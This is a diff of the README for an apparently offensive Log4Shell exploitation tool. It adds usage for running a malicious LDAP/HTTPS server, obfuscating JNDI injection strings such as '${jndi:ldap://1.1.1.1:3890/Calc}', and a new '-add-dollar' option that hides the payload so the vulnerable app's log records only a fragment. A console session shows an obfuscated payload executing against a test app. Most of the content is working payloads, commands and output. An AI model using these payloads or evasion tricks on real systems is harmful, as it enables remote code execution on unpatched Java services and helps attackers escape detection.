|
4 | 4 | * Don't need to install anything except you want to develop this project. |
5 | 5 |
|
6 | 6 | ## Usage |
7 | | - ### Start LDAP and HTTP server |
| 7 | + ### Start Log4Shell server |
8 | 8 | * ```Log4Shell.exe -host "1.1.1.1"``` |
9 | 9 | * ```Log4Shell.exe -host "example.com"``` |
10 | 10 |
|
11 | | - ### Start LDAPS and HTTPS server |
| 11 | + ### Start Log4Shell server with TLS |
12 | 12 | * ```Log4Shell.exe -host "example.com" -tls-server -tls-cert "cert.pem" -tls-key "key.pem"``` |
13 | 13 | * ```Log4Shell.exe -host "1.1.1.1" -tls-server -tls-cert "cert.pem" -tls-key "key.pem"``` (need IP SANs) |
14 | 14 |
|
15 | | - ### Start LDAPS and HTTPS server with ACME |
| 15 | + ### Start Log4Shell server with ACME |
16 | 16 | * ```Log4Shell.exe -host "example.com" -auto-cert``` (must use domain name) |
17 | 17 |
|
18 | 18 | ### Obfuscate malicious(payload) string |
19 | 19 | ``` |
20 | 20 | Log4Shell.exe -obf "${jndi:ldap://1.1.1.1:3890/Calc}" |
21 | 21 | ``` |
22 | 22 | ``` |
23 | | - raw: ${jndi:ldap://1.1.1.1:3890/Calc_27sHQFpxvwFamvBP} |
| 23 | + raw: ${jndi:ldap://1.1.1.1:3890/Calc$cz3z]Y_pWxAoLPWh} |
24 | 24 |
|
25 | | - ${j${Wmmra:CaPId:-nd}${Pd:nmPbJde:vWo9b:MUDN6w:-i:l}dap${73xrLJ:ml9s81:-}${J4T2-fyx2:-:} |
26 | | - /${PU1W:Ojl2xNxM:LZdr6:Rnb:-/1.}1.${R1Edku:MWjEv3bG:ZKMVOC4d5C:hxjRF:-}${5h2bPs:ItU:-1.} |
27 | | - ${ogS5N:nmmhQcYA8-axELsuz03:14:-}${rP:8SL:-}${l31C:0X1Ey:-1}${NANl9M:Pfxb2obs9-PU5bDprOX |
28 | | - leb-wHz:-:3}${4MyG:H2h1V2rcTu-P6IDGS4eL:Hk2e:-}${kBUQ:DWF8O:RGSKOognGm:Gcb4g:-890}${kt:R |
29 | | - Nj1QL:LJq3xSbQ-QMJ:-/}${mu9nfI-wJul-thdzcWf5G-1eYs:-}C${Cw:CrVaSz-zv:-alc}_2${Pk-1FL1teD |
30 | | - 6OlWC:yIn6DNeu6-8UUF:-7s}${GDuei:4HWSj:Ra31Mg-PZsPG:-HQF}${myZoY-7Oko:-px}${Tc3hLd-XdMY7 |
31 | | - :-v}${XaDK4l:oWc:-w}${ZE-TP:-}Fa${2SuF:n465x:-m}${Cdh5xl-hblvwX4Kq:Mj:-v}BP${5V8O-CwErDR |
32 | | - 2Ji:UjT:-}} |
| 25 | + ${zrch-Q(NGyN-yLkV:-}${j${sm:Eq9QDZ8-xEv54:-ndi}${GLX-MZK13n78y:GW2pQ:-:l}${ckX:2@BH[)]Tmw:a(:- |
| 26 | + da}${W(d:KSR)ky3:bv78UX2R-5MV:-p:/}/1.${)U:W9y=N:-}${i9yX1[:Z[Ve2=IkT=Z-96:-1.1}${[W*W:[email protected] |
| 27 | + @-vL7thi26dIeB-HxjP:-.1}:38${Mh:n341x.Xl2L-8rHEeTW*=-lTNkvo:-90/}${sx3-9GTRv:-Cal}c$c${HR-ewA.m |
| 28 | + Q:g6@jJ:-z}3z${uY)u:7S2)P4ihH:M_S8fanL@AeX-PrW:-]}${S5D4[:qXhUBruo-QMr$1Bd-.=BmV:-}${_wjS:BIY0s |
| 29 | + :-Y_}p${SBKv-d9$5:-}Wx${Im:ajtV:-}AoL${=6wx-_HRvJK:-P}W${cR.1-lt3$R6R]x7-LomGH90)gAZ:NmYJx:-}h} |
33 | 30 |
|
34 | 31 | Each string can only be used once, or wait 20 seconds. |
35 | 32 | ``` |
36 | 33 | ``` |
37 | | - When obfuscate malicious(payload) string, log4j2 package will repeat execute it, the |
38 | | - number of repetitions is equal the number of occurrences about string "${". The LDAP |
39 | | - server add a simple token mechanism for prevent it. |
| 34 | + When obfuscate malicious(payload) string, log4j2 package will repeat execute it, the number |
| 35 | + of repetitions is equal the number of occurrences about string "${". The LDAP server add a |
| 36 | + simple token mechanism for prevent it. |
| 37 | + ``` |
| 38 | + |
| 39 | + ### Hide malicious(payload) string |
| 40 | + ``` |
| 41 | + Log4Shell.exe -obf "${jndi:ldap://127.0.0.1:3890/Calc}" -add-dollar |
| 42 | + ``` |
| 43 | + ``` |
| 44 | + raw: ${jndi:ldap://127.0.0.1:3890/Calc$YG=.z[.od7rH0XpE} |
| 45 | + ``` |
| 46 | + ``` |
| 47 | + Execute VulApp: |
| 48 | + |
| 49 | + E:\OneDrive\Projects\Golang\GitHub\Log4Shell\vulapp\jar>D:\Java\jdk1.8.0_121\bin\java -jar |
| 50 | + vulapp.jar ${j${0395i1-WV[nM-Pv:-nd}i${KoxnAt-KVA6T4:Xggnr:-}:${vlt0_:xTI:-}${kMe=A:QD3FK: |
| 51 | + -l}d${SaS-TmMt:-a}${uQH-oRFIXtw-4[:-}p:${XL9-bkp9k]-xz:-//}12${D@-rF@wGm:-7.0}.${Fuc:SCV6B |
| 52 | + m:-}${W1eelS:1jnUDknTJS:*7aHahf2m:vK:-0.1}${ft:4Zbf5Hf1G:Tskg:-:3}${6WH[wc:Fencc:-8}${24Y: |
| 53 | + 5h=5SqK-p(X9:-9}${oYCk6-RDIN5a$Od:U]3iOEVv:7MiEj:-0/C}${NzvB:]6T9$_O9-F.IUl-NnZq:-a}lc$YG= |
| 54 | + ${*E-5M:-.z[}${N_9@-6(l0sy-b(6.6t-y7NC*:-}${0i-4eS4kB:-.}${5WnL-LKTO554q-x[d:-od7}rH0$${oC |
| 55 | + :.XYPyzv6-sPH.]*Ls:$@Q:-XpE}} |
| 56 | + ${j${0395i1-WV[nM-Pv:-nd}i${KoxnAt-KVA6T4:Xggnr:-}:${vlt0_:xTI:-}${kMe=A:QD3FK:-l}d${SaS-T |
| 57 | + mMt:-a}${uQH-oRFIXtw-4[:-}p:${XL9-bkp9k]-xz:-//}12${D@-rF@wGm:-7.0}.${Fuc:SCV6Bm:-}${W1eel |
| 58 | + S:1jnUDknTJS:*7aHahf2m:vK:-0.1}${ft:4Zbf5Hf1G:Tskg:-:3}${6WH[wc:Fencc:-8}${24Y:5h=5SqK-p(X |
| 59 | + 9:-9}${oYCk6-RDIN5a$Od:U]3iOEVv:7MiEj:-0/C}${NzvB:]6T9$_O9-F.IUl-NnZq:-a}lc$YG=${*E-5M:-.z |
| 60 | + [}${N_9@-6(l0sy-b(6.6t-y7NC*:-}${0i-4eS4kB:-.}${5WnL-LKTO554q-x[d:-od7}rH0$${oC:.XYPyzv6-s |
| 61 | + PH.]*Ls:$@Q:-XpE}} |
| 62 | + 15:49:14.676 [main] ERROR log4j - XpE} |
| 63 | +
|
| 64 | + E:\OneDrive\Projects\Golang\GitHub\Log4Shell\vulapp\jar> |
| 65 | + ``` |
| 66 | + ``` |
| 67 | + The Logger will only record a part of raw string "15:49:14.676 [main] ERROR log4j - XpE}", |
| 68 | + and repeat execute will not appear(I don't know why this happened). |
40 | 69 | ``` |
41 | 70 |
|
42 | 71 | ## Check |
|
69 | 98 | https://github.com/For-ACGN/Log4Shell |
70 | 99 |
|
71 | 100 | Usage of Log4Shell.exe: |
| 101 | + -add-dollar |
| 102 | + add one dollar to the obfuscated string |
72 | 103 | -auto-cert |
73 | 104 | use ACME client to sign certificate automatically |
74 | 105 | -host string |
|
0 commit comments